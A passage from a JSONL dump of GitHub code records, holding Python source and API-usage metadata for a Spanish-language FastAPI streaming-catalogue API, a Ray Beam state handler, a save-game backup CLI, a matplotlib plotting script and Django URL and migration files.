{"api_name": "re.MULTILINE", "line_number": 172, "usage_type": "attribute"}, {"api_name": "re.DOTALL", "line_number": 172, "usage_type": "attribute"}, {"api_name": "re.sub", "line_number": 174, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 178, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 179, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 182, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 183, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 199, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 219, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 237, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 242, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 242, "usage_type": "call"}, {"api_name": "os.path", "line_number": 242, "usage_type": "attribute"}]} +{"seq_id": "6370162200", "text": "import pandas as pd\r\nfrom fastapi import FastAPI\r\n\r\n#Extrames el csv creado en el cuaderno de transformaciones\r\ndata = pd.read_csv('datos_plataformas.csv')\r\n\r\n\r\n##creo un objecto de la clase fastapi\r\napply = FastAPI()\r\n\r\n\r\n\r\n##1Esta funcion retornara la cantidad de veces que aparece una keyword por plataforma\r\n\r\n@apply.get(\"/Cantidad de veces que aparece una keyword en una plataforma por peliculas/series\")\r\ndef get_word_count(plataforma,keyword):\r\n plataforma = plataforma.lower() #usamos la funcion lower para cambiar todo a minusculas en caso de que el usuario ingrese mayusculas\r\n keyword = keyword.lower() ##usamos la funcion lower para cambiar todo a minusculas en caso de que el usuario ingrese mayusculas\r\n \r\n if plataforma == 'netflix':\r\n veces = list(data['show_id'].str.contains('n') & data['title'].str.contains(keyword))\r\n return plataforma, veces.count(True)\r\n \r\n elif plataforma == 'amazon':\r\n veces = list(data['show_id'].str.contains('a') & data['title'].str.contains(keyword))\r\n return plataforma, veces.count(True)\r\n \r\n elif plataforma == 'hulu':\r\n veces = list(data['show_id'].str.contains('h') & data['title'].str.contains(keyword))\r\n return plataforma, veces.count(True)\r\n \r\n elif plataforma == 'disney':\r\n veces = list(data['show_id'].str.contains('d') & data['title'].str.contains(keyword))\r\n return plataforma, veces.count(True)\r\n \r\n else:\r\n return 'no existe esta plataforma de peliculas en la base de datos'\r\n \r\n#2\r\n@apply.get(\"/Cantidad de películas por plataforma con un puntaje mayor a XX en determinado año\")\r\ndef get_score_count(plataforma,score,year):\r\n plataforma = plataforma.lower() #usamos la funcion lower para cambiar todo a minusculas en caso de que el usuario ingrese mayusculas\r\n \r\n if plataforma == 'netflix':\r\n veces = data[(data['show_id'].str.contains('n')) & (data['score'] > score) & (data['release_year'] == year)]\r\n return plataforma, veces.shape[0]\r\n \r\n elif plataforma == 'amazon':\r\n veces = data[(data['show_id'].str.contains('a')) & (data['score'] > score) & (data['release_year'] == year)]\r\n return plataforma, veces.shape[0]\r\n \r\n elif plataforma == 'hulu':\r\n veces = data[(data['show_id'].str.contains('h')) & (data['score'] > score) & (data['release_year'] == year)]\r\n return plataforma, len(veces)\r\n \r\n elif plataforma == 'disney':\r\n veces = data[(data['show_id'].str.contains('d')) & (data['score'] > score) & (data['release_year'] == year)]\r\n return plataforma, len(veces)\r\n \r\n else:\r\n return 'No existe esta plataforma en la base de datos'\r\n \r\n#3\r\n@apply.get(\"/La segunda película con mayor score para una plataforma determinada, según el orden alfabético de los títulos.\")\r\ndef get_second_score(plataforma):\r\n try:\r\n plataforma = plataforma.lower() #cambiamos todo el parametro a minusculas esto es por si acaso el usuario ingresa alguna letra mayuscula\r\n \r\n if plataforma == 'netflix':\r\n filtro = data[data['show_id'].str.contains('n')].sort_values(by=['score'], ascending=False)\r\n return filtro.iloc[1,2], filtro.iloc[1,12]\r\n \r\n elif plataforma == 'disney':\r\n filtro = data[data['show_id'].str.contains('d')].sort_values(by=['score'], ascending=False)\r\n return filtro.iloc[1,2], filtro.iloc[1,12]\r\n \r\n elif plataforma == 'amazon':\r\n filtro = data[data['show_id'].str.contains('a')].sort_values(by=['score'], ascending=False)\r\n return filtro.iloc[1,2], filtro.iloc[1,12]\r\n \r\n elif plataforma == 'hulu':\r\n filtro = data[data['show_id'].str.contains('h')].sort_values(by=['score'],ascending=False)\r\n return filtro.iloc[1,2], filtro.iloc[1,12]\r\n \r\n else:\r\n return \"No existe la plataforma que ingresaste en la base de datos\"\r\n except:\r\n print(\"Error! ha ingresado mal el parametro\")\r\n\r\n\r\n#4 Se creará una función que retorne la pelicula que más duró, según la plataforma que ingrese el usuario\r\n@apply.get(\"/Película que más duró según año, plataforma y tipo de duración\")\r\ndef get_longest(plataforma,time,year):\r\n try:\r\n plataforma = plataforma.lower() #normalizamos el parametro plataforma que ingrese el usuario a minusculas\r\n\r\n if plataforma == 'netflix':\r\n filtro = data[(data['show_id'].str.contains('n')) &\r\n (data['release_year'] == year) &\r\n (data['duration_type'] == time)].sort_values(by=['duration_int'], ascending=False)\r\n return filtro.iloc[0]['title'], filtro.iloc[0]['duration_int'], filtro.iloc[0]['duration_type']\r\n \r\n elif plataforma == 'amazon':\r\n filtro = data[(data['show_id'].str.contains('a')) &\r\n (data['release_year'] == year) &\r\n (data['duration_type'] == time)].sort_values(by=['duration_int'], ascending = False)\r\n return filtro.iloc[0]['title'], filtro.iloc[0]['duration_int'], filtro.iloc[0]['duration_type']\r\n \r\n elif plataforma == 'hulu':\r\n filtro = data[(data['show_id'].str.contains('h')) &\r\n (data['release_year'] == year) &\r\n (data['duration_type'] == time)].sort_values(by=['duration_int'], ascending=False)\r\n return filtro.iloc[0]['title'], filtro.iloc[0]['duration_int'], filtro.iloc[0]['duration_type']\r\n \r\n elif plataforma == 'disney':\r\n filtro = data[(data['show_id'].str.contains('d')) &\r\n (data['release_year'] == year) &\r\n (data['duration_type'] == time)].sort_values(by=['duration_int'], ascending=False)\r\n return filtro.iloc[0]['title'], filtro[0]['duration_int'], filtro[0]['duration_type']\r\n \r\n else:\r\n print(\"No existe la plataforma que ingresaste en la base de datos\")\r\n except:\r\n print(\"Error! ha ingresado mal los parametros.\")\r\n \r\n \r\n#5 Creare la función que retorne la cantidad de series y peliculas por rating\r\n@apply.get(\"/Cantidad de peliculas y series por rating\")\r\ndef get_rating_count(rating):\r\n suma = 0\r\n if data['rating'].isin([rating]).any():\r\n for item in data['rating']:\r\n if item == rating:\r\n suma +=1 \r\n return rating, suma\r\n else:\r\n return 'No existe el rating ingresado en la base de datos'\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n", "repo_name": "aramisjose/ETL-para-el-equipo-de-DATA-ANALYST", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 6640, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "pandas.read_csv", "line_number": 5, "usage_type": "call"}, {"api_name": "fastapi.FastAPI", "line_number": 9, "usage_type": "call"}]} +{"seq_id": "21176072835", "text": "import collections\nimport contextlib\nfrom typing import Optional, Tuple, Iterator, TypeVar\n\nimport ray\nfrom ray import ObjectRef\nfrom apache_beam.portability.api import beam_fn_api_pb2\nfrom apache_beam.runners.worker import sdk_worker\n\nT = TypeVar(\"T\")\n\n\nclass RayFuture(sdk_worker._Future[T]):\n \"\"\"Wraps a ray ObjectRef in a beam sdk_worker._Future\"\"\"\n\n def __init__(self, object_ref):\n # type: (ObjectRef[T]) -> None\n self._object_ref: ObjectRef[T] = object_ref\n\n def wait(self, timeout=None):\n # type: (Optional[float]) -> bool\n try:\n # TODO: Is ray.get slower than ray.wait if we don't need the return value?\n ray.get(self._object_ref, timeout=timeout)\n #\n return True\n except ray.GetTimeoutError:\n return False\n\n def get(self, timeout=None):\n # type: (Optional[float]) -> T\n return ray.get(self._object_ref, timeout=timeout)\n\n def set(self, _value):\n # type: (T) -> sdk_worker._Future[T]\n raise NotImplementedError()\n\n\n@ray.remote\nclass _ActorStateManager:\n def __init__(self):\n self._data = collections.defaultdict(lambda: [])\n\n def get_raw(\n self,\n state_key: str,\n continuation_token: Optional[bytes] = None,\n ) -> Tuple[bytes, Optional[bytes]]:\n if continuation_token:\n continuation_token = int(continuation_token)\n else:\n continuation_token = 0\n\n full_state = self._data[state_key]\n if len(full_state) == continuation_token:\n return b\"\", None\n\n if continuation_token + 1 == len(full_state):\n next_cont_token = None\n else:\n next_cont_token = str(continuation_token + 1).encode(\"utf8\")\n\n return full_state[continuation_token], next_cont_token\n\n def append_raw(self, state_key: str, data: bytes):\n self._data[state_key].append(data)\n\n def clear(self, state_key: str):\n self._data[state_key] = []\n\n\nclass RayStateManager(sdk_worker.StateHandler):\n def __init__(self, state_actor: Optional[_ActorStateManager] = None):\n self._state_actor = state_actor or _ActorStateManager.remote()\n self._instruction_id: Optional[str] = None\n\n @staticmethod\n def _to_key(state_key: beam_fn_api_pb2.StateKey):\n return state_key.SerializeToString()\n\n def get_raw(\n self,\n state_key, # type: beam_fn_api_pb2.StateKey\n continuation_token=None, # type: Optional[bytes]\n ) -> Tuple[bytes, Optional[bytes]]:\n return ray.get(\n self._state_actor.get_raw.remote(\n RayStateManager._to_key(state_key),\n continuation_token,\n )\n )\n\n def append_raw(self, state_key: beam_fn_api_pb2.StateKey, data: bytes) -> RayFuture:\n return RayFuture(\n self._state_actor.append_raw.remote(\n RayStateManager._to_key(state_key), data\n )\n )\n\n def clear(self, state_key: beam_fn_api_pb2.StateKey) -> RayFuture:\n assert self._instruction_id is not None\n return RayFuture(\n self._state_actor.clear.remote(RayStateManager._to_key(state_key))\n )\n\n @contextlib.contextmanager\n def process_instruction_id(self, bundle_id: str) -> Iterator[None]:\n # Instruction id is not being used right now,\n # we only assert that it has been set before accessing state.\n self._instruction_id = bundle_id\n yield\n self._instruction_id = None\n\n def done(self):\n pass\n", "repo_name": "ray-project/ray_beam_runner", "sub_path": "ray_beam_runner/portability/state.py", "file_name": "state.py", "file_ext": "py", "file_size_in_byte": 3560, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 34, "dataset": "github-code", "pt": "16", "api": [{"api_name": "typing.TypeVar", "line_number": 10, "usage_type": "call"}, {"api_name": "apache_beam.runners.worker.sdk_worker._Future", "line_number": 13, "usage_type": "attribute"}, {"api_name": "apache_beam.runners.worker.sdk_worker", "line_number": 13, "usage_type": "name"}, {"api_name": "ray.ObjectRef", "line_number": 18, "usage_type": "name"}, {"api_name": "ray.get", "line_number": 24, "usage_type": "call"}, {"api_name": "ray.GetTimeoutError", "line_number": 27, "usage_type": "attribute"}, {"api_name": "ray.get", "line_number": 32, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 42, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 47, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 48, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 48, "usage_type": "name"}, {"api_name": "ray.remote", "line_number": 39, "usage_type": "attribute"}, {"api_name": "apache_beam.runners.worker.sdk_worker.StateHandler", "line_number": 72, "usage_type": "attribute"}, {"api_name": "apache_beam.runners.worker.sdk_worker", "line_number": 72, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 73, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 75, "usage_type": "name"}, {"api_name": "apache_beam.portability.api.beam_fn_api_pb2.StateKey", "line_number": 78, "usage_type": "attribute"}, {"api_name": "apache_beam.portability.api.beam_fn_api_pb2", "line_number": 78, "usage_type": "name"}, {"api_name": "ray.get", "line_number": 86, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 85, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 85, "usage_type": "name"}, {"api_name": "apache_beam.portability.api.beam_fn_api_pb2.StateKey", "line_number": 93, "usage_type": "attribute"}, {"api_name": "apache_beam.portability.api.beam_fn_api_pb2", "line_number": 93, "usage_type": "name"}, {"api_name": "apache_beam.portability.api.beam_fn_api_pb2.StateKey", "line_number": 100, "usage_type": "attribute"}, {"api_name": "apache_beam.portability.api.beam_fn_api_pb2", "line_number": 100, "usage_type": "name"}, {"api_name": "contextlib.contextmanager", "line_number": 106, "usage_type": "attribute"}, {"api_name": "typing.Iterator", "line_number": 107, "usage_type": "name"}]} +{"seq_id": "72324238727", "text": "from contextlib import contextmanager\nfrom logging import basicConfig, getLogger\n\nimport click\nfrom click_completion import init as init_completion\nfrom click_completion.core import install as install_completion\nfrom click_completion.core import shells\nfrom halo import Halo\nfrom tabulate import tabulate\n\nfrom save_scummer.backup import get_included_files, make_backup, restore_backup\nfrom save_scummer.config import GAMES, add_game, list_game, list_games, normalize_path\n\nbasicConfig(filename='save-scummer.log', level='INFO')\ninit_completion()\nlogger = getLogger(__name__)\n\n# Param type containing a list of all game titles; used for autocompletion\nGameChoice = click.Choice(GAMES)\n\n\n@contextmanager\ndef spin(ctx, text: str = None):\n \"\"\"Show a spinner within the wrapped context, handling any errors that occur\"\"\"\n spinner = Halo(text, color='magenta', text_color='white')\n with spinner:\n try:\n yield\n # Show 'cancel' symbol on Ctrl-C\n except KeyboardInterrupt:\n spinner.stop_and_persist('🚫')\n ctx.exit(1)\n # On any other error, show the short error message and log the full traceback\n except Exception as e:\n spinner.fail()\n click.secho(str(e), fg='red')\n logger.exception(e)\n ctx.exit(1)\n spinner.succeed()\n\n\n@click.group(context_settings={'help_option_names': ['-h', '--help']}, invoke_without_command=True)\n@click.option(\n '--install',\n type=click.Choice(shells),\n help='Install completion script for the specified shell',\n)\n@click.pass_context\ndef ssc(ctx, install):\n if ctx.invoked_subcommand:\n pass\n elif install:\n shell, path = install_completion(install)\n click.echo(f'{shell} completion installed in {path}')\n else:\n click.echo(ssc.get_help(ctx))\n\n\n@ssc.command()\n@click.argument('title')\n@click.argument('source')\n@click.option(\n '-c',\n '--clean-restore',\n default=False,\n help='Delete existing save files before restoring backups',\n)\n@click.pass_context\ndef add(ctx, title: str, source: str, clean_restore):\n \"\"\"Add a game and its save directory.\n Relative paths, user paths, and glob patterns are supported.\n This command can also be used to update a previously added game.\n\n \\b\n Examples:\n ssc add game1 ~/Games/game1 # Add a dir (including any subdirs)\n ssc add game1 '~/Games/game1/**' # Equivalent glob pattern (quotes required)\n ssc add game2 'C:\\\\Games\\\\game2\\\\*.sav' # Add files ending in .sav\n \"\"\"\n included_files = [str(f[1]) for f in get_included_files(source)]\n if not included_files:\n click.secho('Error: No files are in the specified path')\n ctx.exit()\n\n # If a glob pattern is specified, show the files matched as a sanity check\n if '*' in source:\n click.echo(\n f'This pattern matches the following {len(included_files)} files:\\n '\n + '\\n '.join(included_files)\n )\n click.confirm('Does this look correct?')\n\n add_game(title, source=source, clean_restore=clean_restore)\n click.echo(f'Source path for \"{title}\" added: {normalize_path(source)}')\n\n\n@ssc.command()\n@click.argument('title', type=GameChoice, required=False)\ndef ls(title):\n \"\"\"List details on all configured games. Or, enter a game title to get more detailed info.\"\"\"\n if title:\n # TODO: alignment\n game_info = list_game(title, extra_details=True)\n table = '\\n'.join(f'{k}: \\t{v}' for k, v in game_info.items())\n else:\n table = tabulate(list_games(), headers='keys', tablefmt='fancy_grid')\n click.echo(table)\n\n\n@ssc.command()\n@click.argument('titles', type=GameChoice, nargs=-1)\n@click.option('-d', '--description', help='Optional description for this backup')\n@click.option(\n '-a', '--all', help='Make a backup of all configured games', default=False, is_flag=True\n)\n@click.pass_context\ndef backup(ctx, titles, description, all):\n \"\"\"Create a backup of one, multiple, or all games\n\n \\b\n Example:\n # Create a single backup\n ssc backup game1\n \\b\n # Create a backup with a description\n ssc backup game1 -d 'level 10 with full health'\n \\b\n # Backup multiple games\n ssc backup game1 game2\n \\b\n # Backup all of the things\n ssc backup --all\n\n \"\"\"\n # Exactly one of these args is required (title(s) XOR all)\n if bool(titles) == bool(all):\n click.echo(backup.get_help(ctx))\n ctx.exit(1)\n\n titles_to_backup = GAMES if all else titles\n for title in titles_to_backup:\n with spin(ctx, 'Creating backup'):\n status = make_backup(title, description)\n click.echo(status)\n\n\n@ssc.command()\n@click.argument('title', type=GameChoice)\n@click.option(\n '-i', '--index', help='Backup number (starting at 0, from newest to oldest)', type=click.INT\n)\n@click.option('-a', '--age', help='Minimum age (relative to current time)')\n@click.option('-d', '--date', help='Maximum date/time (absolute)')\n@click.option('-f', 'filename', help='Backup filename; either absolute or relative to backup dir')\n@click.pass_context\ndef restore(ctx, title, filename, index, age, date):\n \"\"\"Restore a backup of the specified game.\n A specific backup can be indicated by backup index, age, date/time, or filename.\n Otherwise, the most recent backup is restored.\n\n \\b\n Notes:\n * Makes a backup of the current save files before overwriting.\n * For time specifiers, the time of the original save is used, not the time\n of the backup.\n\n \\b\n Backup specifiers:\n Index:\n The backup index, sorted from newest to oldest, e.g.\n \"Restore the save from x backups ago.\" 0 is the latest backup, 1 is the\n backup made before that, etc.\n Negative values can also be given; -1 would give you the oldest backup.\n See ls command for full list of available backups.\n Age:\n Minimum age of the save to restore, e.g \"I want to go back in time by\n 1 hour.\" Amounts of time can be specified in 'HH:MM' format, or\n with a number followed by a unit.\n Examples:\n * '1:30' (an hour and a half ago)\n * '30m' (or '30 minutes')\n * '6h' (or '6 hours')\n * '9 hours, 15 minutes' (or '9:15')\n * '2d' (or '2 days')\n * See pytimeparse for more formats\n Date/Time:\n Maximum date/time of the save to restore, e.g., \"I want to go back in\n time to 1:30 yesterday.\" Most date/time formats are supported.\n Examples: '16:30' or '4:30 PM' (today), '2021-01-20', 'August 3 2020'\n * '16:30' or '4:30 PM' (today)\n * '2021-01-20'\n * 'August 3 2020'\n * Most date/time formats are supported; see dateutil for more examples\n Filename:\n Either a full path or just the filename (relative to the backup dir)\n\n \\b\n Examples:\n # Just restore the most recent backup\n ssc restore game1\n \\b\n # Restore the backup made 2 backups ago (aka the 3rd most recent)\n ssc restore game1 -i 2\n \\b\n # Restore a backup from (at least) an hour and a half ago\n ssc restore game1 -a '1:30'\n \\b\n # Restore a backup from (at least) 2 days ago\n ssc restore game1 -a 2d\n \\b\n # Restore a backup from 4:00 PM today or earlier\n ssc restore game1 -d '4:00 PM'\n \\b\n # Restore a backup from March 22 or earlier\n ssc restore game1 -d 'Mar 22 2021'\n \\b\n # Restore a backup by filename\n ssc restore game1 -f game1-2021-01-20T00:09:10.zip\n \"\"\"\n with spin(ctx, 'Restoring backup'):\n status = restore_backup(title, filename, index, age, date)\n click.echo(status)\n", "repo_name": "JWCook/save-scummer", "sub_path": "save_scummer/cli.py", "file_name": "cli.py", "file_ext": "py", "file_size_in_byte": 7743, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "16", "api": [{"api_name": "logging.basicConfig", "line_number": 14, "usage_type": "call"}, {"api_name": "click_completion.init", "line_number": 15, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 16, "usage_type": "call"}, {"api_name": "click.Choice", "line_number": 19, "usage_type": "call"}, {"api_name": "save_scummer.config.GAMES", "line_number": 19, "usage_type": "argument"}, {"api_name": "halo.Halo", "line_number": 25, "usage_type": "call"}, {"api_name": "click.secho", "line_number": 36, "usage_type": "call"}, {"api_name": "contextlib.contextmanager", "line_number": 22, "usage_type": "name"}, {"api_name": "click_completion.core.install", "line_number": 53, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 54, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 56, "usage_type": "call"}, {"api_name": "click.group", "line_number": 42, "usage_type": "call"}, {"api_name": "click.option", "line_number": 43, "usage_type": "call"}, {"api_name": "click.Choice", "line_number": 45, "usage_type": "call"}, {"api_name": "click_completion.core.shells", "line_number": 45, "usage_type": "argument"}, {"api_name": "click.pass_context", "line_number": 48, "usage_type": "attribute"}, {"api_name": "save_scummer.backup.get_included_files", "line_number": 80, "usage_type": "call"}, {"api_name": "click.secho", "line_number": 82, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 87, "usage_type": "call"}, {"api_name": "click.confirm", "line_number": 91, "usage_type": "call"}, {"api_name": "save_scummer.config.add_game", "line_number": 93, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 94, "usage_type": "call"}, {"api_name": "save_scummer.config.normalize_path", "line_number": 94, "usage_type": "call"}, {"api_name": "click.argument", "line_number": 60, "usage_type": "call"}, {"api_name": "click.argument", "line_number": 61, "usage_type": "call"}, {"api_name": "click.option", "line_number": 62, "usage_type": "call"}, {"api_name": "click.pass_context", "line_number": 68, "usage_type": "attribute"}, {"api_name": "save_scummer.config.list_game", "line_number": 103, "usage_type": "call"}, {"api_name": "tabulate.tabulate", "line_number": 106, "usage_type": "call"}, {"api_name": "save_scummer.config.list_games", "line_number": 106, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 107, "usage_type": "call"}, {"api_name": "click.argument", "line_number": 98, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 137, "usage_type": "call"}, {"api_name": "save_scummer.config.GAMES", "line_number": 140, "usage_type": "name"}, {"api_name": "save_scummer.backup.make_backup", "line_number": 143, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 144, "usage_type": "call"}, {"api_name": "click.argument", "line_number": 111, "usage_type": "call"}, {"api_name": "click.option", "line_number": 112, "usage_type": "call"}, {"api_name": "click.option", "line_number": 113, "usage_type": "call"}, {"api_name": "click.pass_context", "line_number": 116, "usage_type": "attribute"}, {"api_name": "save_scummer.backup.restore_backup", "line_number": 221, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 222, "usage_type": "call"}, {"api_name": "click.argument", "line_number": 148, "usage_type": "call"}, {"api_name": "click.option", "line_number": 149, "usage_type": "call"}, {"api_name": "click.INT", "line_number": 150, "usage_type": "attribute"}, {"api_name": "click.option", "line_number": 152, "usage_type": "call"}, {"api_name": "click.option", "line_number": 153, "usage_type": "call"}, {"api_name": "click.option", "line_number": 154, "usage_type": "call"}, {"api_name": "click.pass_context", "line_number": 155, "usage_type": "attribute"}]} +{"seq_id": "2705841419", "text": "import matplotlib.pyplot as plt\nimport numpy as np\n\nfrom scripts.congregate_data import extract_data\nfrom scripts.regression import regression_points\n\ncolors = {'blue': '#2300A8', 'yellow': '#FFFF00', 'green': '#00A658', 'red': '#FF0000'}\n\n\ndef default_plot(master_data, index=None, index2='Religion is important', xlabel=None, ylabel=None, log=False, vertical_ticks=None,\n save_file=True, horizontal_ticks=None, plot_regression=True, zoom_factor=2, name=None):\n \"\"\"Plot the data sets with some default parameters.\"\"\"\n print(f'Plotting index: {index}.')\n if not ylabel:\n ylabel = f'{index}'\n if not xlabel:\n xlabel = \"Country religiosity levels (%)\"\n\n if name:\n file_sufix = name\n else:\n file_sufix = index\n file_name = f'../figures/{file_sufix}.png'\n\n data_index, data_religion_level, txt = extract_data(master_data, index, index2)\n\n if plot_regression:\n regression_x, regression_y = regression_points(data_religion_level, data_index)\n plt.plot(regression_x, regression_y, '-r', color=colors['green'])\n\n w = 7.195 * zoom_factor\n h = 3.841 * zoom_factor\n\n fig, ax = plt.subplots()\n fig.set_size_inches(w, h)\n\n ax.plot(data_religion_level, data_index, 'o', color=colors['blue'])\n\n plt.ylabel(ylabel)\n plt.xlabel(xlabel)\n\n if index2 == 'Religion is important':\n ax.set_xlim([0, 100])\n vertical_ticks = [10, 20, 30, 40, 50, 60, 70, 80, 90, 100]\n # ax.set_ylim([0, 100])\n\n if log:\n ax.set_yscale('log')\n\n # Annotate points with country text\n plt.rcParams.update({'font.size': 11})\n if txt:\n for i in range(len(txt)):\n ax.annotate(txt[i], (data_religion_level[i], data_index[i]),\n textcoords=\"offset points\", # how to position the text\n xytext=(-15, -15), # distance from text to points (data_religion_level,data_index)\n ha='center', # horizontal alignment can be left, right or center\n )\n # ax.legend(['Data Points', 'Regression Line'])\n\n\n # Provide tick lines across the plot to help your viewers trace along\n # the axis ticks. Make sure that the lines are light and small so they\n # don't obscure the primary data lines.\n if isinstance(vertical_ticks, tuple):\n x_min = horizontal_ticks[0]\n x_max = horizontal_ticks[1]\n for data_index_value in np.linspace(*vertical_ticks):\n plt.plot(np.linspace(x_min, x_max, 100), [data_index_value] * 100, \"--\", lw=0.5, color=\"black\", alpha=0.3)\n\n # Plot vertical lines for religiosity levels\n if isinstance(horizontal_ticks, tuple):\n try:\n y_min = vertical_ticks[0]\n y_max = vertical_ticks[1]\n except TypeError:\n y_min = min(data_index)\n y_max = max(data_index)\n for data_religion_level in np.linspace(*horizontal_ticks):\n plt.plot([data_religion_level] * 100, np.linspace(y_min, y_max, 100), \"--\", lw=0.5, color=\"black\", alpha=0.3)\n\n\n # Remove default boxing\n for spine in plt.gca().spines.values():\n spine.set_visible(False)\n\n if save_file:\n fig.savefig(file_name)\n else:\n plt.show()\n", "repo_name": "dprelipcean/religious-fallacies-examples", "sub_path": "scripts/plot.py", "file_name": "plot.py", "file_ext": "py", "file_size_in_byte": 3240, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "scripts.congregate_data.extract_data", "line_number": 25, "usage_type": "call"}, {"api_name": "scripts.regression.regression_points", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 29, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams.update", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 51, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 51, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 79, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 80, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 84, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 90, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 90, "usage_type": "name"}]} +{"seq_id": "2135744337", "text": "from django.urls import include, path\n\nfrom rest_framework.routers import DefaultRouter\n\nfrom delivery.views import CargoAPIView, DeliveryCarAPIView, LocationAPIView\n\n\nrouter = DefaultRouter()\nrouter.register('deliverycar', DeliveryCarAPIView, basename='deliverycar')\nrouter.register('cargo', CargoAPIView, basename='cargo')\nrouter.register('location', LocationAPIView, basename='location')\n\nurlpatterns = [\n path('', include(router.urls)),\n]\n", "repo_name": "oneMayday/Welbex_test_backend", "sub_path": "src/delivery/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 446, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "rest_framework.routers.DefaultRouter", "line_number": 8, "usage_type": "call"}, {"api_name": "delivery.views.DeliveryCarAPIView", "line_number": 9, "usage_type": "argument"}, {"api_name": "delivery.views.CargoAPIView", "line_number": 10, "usage_type": "argument"}, {"api_name": "delivery.views.LocationAPIView", "line_number": 11, "usage_type": "argument"}, {"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 14, "usage_type": "call"}]} +{"seq_id": "72328076168", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Post',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('title', models.CharField(max_length=128)),\n ('text', models.TextField(blank=True)),\n ('created_date', models.DateTimeField(auto_now_add=True)),\n ('modified_date', models.DateTimeField(auto_now=True)),\n ('published_date', models.DateTimeField(null=True, blank=True)),\n ('author', models.ForeignKey(to=settings.AUTH_USER_MODEL)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n ]\n", "repo_name": "cewing/training.python_web", "sub_path": "resources/session09/mysite/myblog/migrations/0001_initial.py", "file_name": "0001_initial.py", "file_ext": "py", "file_size_in_byte": 1013, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 27, "dataset": "github-code", "pt": "16", "api": [{"api_name": "django.db.migrations.Migration", "line_number": 8, "usage_type": "attribute"}, {"api_name": "django.db.migrations", "line_number": 8, "usage_type": "name"}, {"api_name": "django.db.migrations.swappable_dependency", "line_number": 11, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 11, "usage_type": "name"}, {"api_name": "django.conf.settings.AUTH_USER_MODEL", "line_number": 11, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 11, "usage_type": "name"}, {"api_name": "django.db.migrations.CreateModel", "line_number": 15, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 15, "usage_type": "name"}, {"api_name": "django.db.models.AutoField", "line_number": 18, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 18, 